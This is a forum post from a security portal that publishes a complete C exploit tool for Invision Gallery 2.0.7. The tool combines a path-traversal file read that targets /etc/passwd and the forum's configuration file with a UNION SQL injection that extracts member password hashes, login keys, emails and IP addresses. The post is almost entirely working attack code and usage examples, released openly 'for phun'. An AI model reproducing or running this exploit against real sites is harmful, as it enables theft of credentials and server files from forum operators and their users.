Waraxe IT Security Portal
Login or Register
June 16, 2025
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 37
Members: 0
Total: 37
Full disclosure
SEC Consult SA-20250604-0 :: Local Privilege Escalation and Default Credentials in INDAMED - MEDICAL OFFICE (Medical practice management) Demo version
Full Disclosure: CVE-2025-31200 & CVE-2025-31201 – 0-Click iMessage Chain ? Secure Enclave Key Theft, Wormable RCE, Crypto Theft
Defense in depth -- the Microsoft way (part 89): user grouppolicies don't deserve tamper protection
CVE-2025-45542: Time-Based Blind SQL Injection in CloudClassroom PHP Project v1.0
ERPNext v15.53.1 Stored XSS in bio Field Allows Arbitrary Script Execution in Profile Page
ERPNext v15.53.1 Stored XSS in user_image Field Allows Script Execution via Injected Image Path
Local information disclosure in apport and systemd-coredump
Stored XSS via File Upload - adaptcmsv3.0.3
IDOR "Change Password" Functionality - adaptcmsv3.0.3
Stored XSS "Send Message" Functionality - adaptcmsv3.0.3
Authenticated File Upload to RCE - adaptcmsv3.0.3
Stored XSS in "Description" Functionality - cubecartv6.5.9
Multiple Vulnerabilities in SAP GuiXT Scripting
CVE-2024-47081: Netrc credential leak in PSF requests library
Exploit CVE-2019-9978: Remote Code Execution in Social Warfare WordPress Plugin (<= 3.5.2)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Metasploit related -> Invision Gallery => 2.0.7 ReadFile() & SQL injection
Post new topicReply to topic View previous topic :: View next topic
Invision Gallery => 2.0.7 ReadFile() & SQL injection
PostPosted: Tue May 03, 2011 9:13 am Reply with quote
Its
Advanced user
Advanced user
Joined: Apr 13, 2011
Posts: 122
Location: In someone´s ♥




/*
_ _ _ _ _ __ _ _ _
| || |___| | | |/ /_ _ (_)__ _| |_| |_ ___
| __ / -_) | | ' <| ' \| / _` | ' \ _(_-<
|_||_\___|_|_|_|\_\_||_|_\__, |_||_\__/__/
hellknights.void.ru |___/
(c)oded by _1nf3ct0r_

Invision Gallery => 2.0.7 ReadFile() & SQL injection exploit

+-------------+
| Uzage: |
+-------------+
[+] ReadFile():
- syntax:
readfile 1 <host> <pathtoindex> <localfile>
readfile 2 <host> <pathtoindex> <localfile> // try it if readfile[1] failed Wink
- params:
<localfile> - path to local file (../file), for example: ../../../../../etc/passwd
s0, if u want to get local path to IPB try this: ../../hellknightscrewxploit Smile
- examples:
readfile 1 asd.ru index.php ../../../../../../etc/passwd
readfile 1 asd.ru forum/index.php ../../conf_global.php
readfile 1 asd.ru forum/index.php ../../conf_global.php%00

[+] SQL-injection:
- syntax
sqlinject <host> <pathtoindex> <member_id> <prefix> <column> <table>
getprefix <host> <pathtoindex> // get database prefix from IPB error Smile
- params:
<member_id> - member's id for SQL-injection result, for example: 1
<column> - ipb members' column to get. for example: ip_adress, email.
<table> - ipb table to use. for example: member
<prefix> - database prefix.
- examples:
ig.exe sqlinject asd.ru index.php legacy_password ibf_ members 1
ig.exe sqlinject asd.ru index.php member_login_key ibf_ members 1
ig.exe sqlinject asd.ru forum/index.php ip_adress ibf_ member 5

[~] sorry, but i`m too lazy 2 optimize this c0de...
[~] Music: Orbital - Halcyon and On and On (OST Hackers) Smile
[~] compiled with LCC without any warnings

Gr33tz: blackybr, 1dt.w0lf, ShadOS, ZaCo, SkvoznoY, HATS-Team
itz public c0de n0w, have phun :>
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>

DWORD resolve(char *host)
{
DWORD ret = 0;
struct hostent * hp = gethostbyname(host);
if (!hp) ret = inet_addr(host);
if ((!hp)&&(ret == INADDR_NONE)) return 0;
if (hp != NULL) memcpy((void*)&ret, hp->h_addr,hp->h_length);
return ret;
}

int Exploit(char * sendbuffer, char * mode, char * host)
{
char recvbuffer[10024]; char * temp;
memset(recvbuffer,0,10024);

SOCKET s = socket(AF_INET,SOCK_STREAM,0);
SOCKADDR_IN webaddr;
webaddr.sin_addr.S_un.S_addr = resolve(host);
webaddr.sin_family = AF_INET;
webaddr.sin_port = htons(80);
if(connect(s, (struct sockaddr *)&webaddr,sizeof(SOCKADDR_IN))) return -1;
send(s, sendbuffer, strlen(sendbuffer),0);

int i, j;
while(i = recv(s,recvbuffer+strlen(recvbuffer),1,0))
for(int i = 0; recvbuffer[i]!=0; ++i)
{
if((recvbuffer[i]=='\r')&&(recvbuffer[i+1]=='\n')&&
(recvbuffer[i+2]=='\r')&&(recvbuffer[i+3]=='\n'))
{temp = (char*)&recvbuffer[i] + 4;break;}
}


if(strcmp(mode,"readfile")==0)
{
printf("\n [+] Exploit Result:\n\n%s", temp);
return 0;
}

if(strcmp(mode,"sqlinject")==0)
{
char * token = NULL; char * injected = NULL; char * parse = NULL;
token = strtok(temp, "=");
token = strtok(NULL, "=");
token = strtok(NULL, "&");
token = strtok(NULL, "&");
for(int j = 0; j < 2; j++)
{
token = strtok(NULL, "&");
if(j==1){ injected = token; printf("\n [+] Exploit Result:\n\n%s", injected); }
}

} else { printf("\n[-] some error. change MODE param\n"); return 0; }
return 0;
}

int main(int argc,char * argv[])
{
WSADATA wsaData;
WSAStartup(MAKEWORD(2,2),&wsaData);

printf("\n ...............................................................\n");
printf(" Invision Gallery 2.0.7 ReadFile() & SQL injection exploit \n");
printf(" (c)oded by _1nf3ct0r_ // Hell Knights Crew \n");
printf(" http://hellknights.void.ru/ \n");
printf(" Gr33tz: blackybr, 1dt.w0lf, ShadOS, ZaCo, SkvoznoY, HATS-Team \n");
printf(" ............................................................... \n");

if (argc == 1) {

printf("\n\n [+] ReadFile():\n");
printf(" - syntax:\n");
printf(" readfile 1 <host> <pathtoindex> <localfile> \n");
printf(" readfile 2 <host> <pathtoindex> <localfile> -- try it 1f readfile[1] failed \n");
printf(" - params: \n");
printf(" <localfile> - path to local file (../file), f0r example: ../../../../../etc/passwd\n");
printf(" s0, 1f u want to get local path to IPB 7ry th1s: ../../hellknightscrewxploit \n");
printf(" - examples:\n");
printf(" readfile 1 asd.ru index.php ../../../../../../etc/passwd\n");
printf(" readfile 1 asd.ru forum/index.php ../../conf_global.php\n");
printf(" readfile 1 asd.ru forum/index.php ../../conf_global.php%00\n\n\n");
printf(" [+] SQL-injection:\n");
printf(" - syntax\n");
printf(" sqlinject <host> <pathtoindex> <member_id> <prefix> <column> <table>\n");
printf(" getprefix <host> <pathtoindex> -- get database prefix from IPB error \n");
printf(" - params:\n");
printf(" <member_id> - member's id for SQL-injection result, for example: 1\n");
printf(" <column> - ipb members' column to get. for example: ip_adress, email.\n");
printf(" <table> - ipb table to use. f0r example: member\n");
printf(" <prefix> - database prefix. \n");
printf(" - examples:\n");
printf(" ig.exe sqlinject asd.ru index.php legacy_password ibf_ members 1 \n");
printf(" ig.exe sqlinject asd.ru index.php member_login_key ibf_ members 1\n");
printf(" ig.exe sqlinject asd.ru forum/index.php ip_adress ibf_ member 5\n\n");
return 1;
}

char * mode = argv[1];


// --- readfile() exploit --- //
if (strcmp(mode,"readfile")==0)
{
char * type = argv[2];
char * path = NULL; path = argv[4];
char * localfile = argv[5];
char * host = argv[3];
if (strcmp(type,"1")==0)
{
char exploit[1024];
strcpy(exploit, "GET /");
strcat(exploit, path);
strcat(exploit, "?act=module&module=gallery&cmd=viewimage&img=&file_type=&dir=");
strcat(exploit, localfile);
strcat(exploit, " HTTP/1.0\r\nHost: ");
strcat(exploit, host);
strcat(exploit, "\r\n\r\n");
Exploit(exploit, "readfile", host);

}
else if (strcmp(type,"2")==0)
{
char exploit[1024];
strcpy(exploit, "GET /");
strcat(exploit, path);
strcat(exploit, "?act=gallery&code=viewimage&img=index.gif&dir=");
strcat(exploit, localfile);
strcat(exploit, " HTTP/1.0\r\nHost: ");
strcat(exploit, host);
strcat(exploit, "\r\n\r\n");
Exploit(exploit, "readfile", host);
}

// --- sql-injection exploit --- //
}
if(strcmp(mode,"sqlinject")==0)
{
char * host = argv[2];
char * path = argv[3];
char * prefix = argv[5];
char * column = argv[4];
char * table = argv[6];
char * id = argv[7];

char exploit[1024];
strcpy(exploit, "GET /");
strcat(exploit, path);
strcat(exploit, "?automodule=gallery&cmd=rate&img=1&rating=1&album=-1%20union%20select%201,");
strcat(exploit, column);
strcat(exploit, ",1,1,1,1,1,1,1,1%20FROM%20");
strcat(exploit, prefix);
strcat(exploit, table);
strcat(exploit, "%20WHERE%20id=");
strcat(exploit, id);
strcat(exploit, "/*31337*/");
strcat(exploit, " HTTP/1.0\r\nHost: ");
strcat(exploit, host);
strcat(exploit, "\r\n\r\n");
Exploit(exploit, "sqlinject", host);
}
if (strcmp(mode,"getprefix")==0)
{
char * path = argv[3];
char * host = argv[2];
char exploit[1024];
strcpy(exploit, "GET /");
strcat(exploit, path);
strcat(exploit, "?automodule=gallery&cmd=rate&img=1&rating=1&album=-1%20hellknightscrew");
strcat(exploit, " HTTP/1.0\r\nHost: ");
strcat(exploit, host);
strcat(exploit, "\r\n\r\n");
printf("\n\n\n[!] u can get database prefix from this error. example: SELECT * FROM <PREFIX>gallery_albums\n\n");
Exploit(exploit, "readfile", host);
}

WSACleanup();
return 0;
}
View user's profile Send private message
Invision Gallery => 2.0.7 ReadFile() & SQL injection
www.waraxe.us Forum Index -> Metasploit related
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.026 Seconds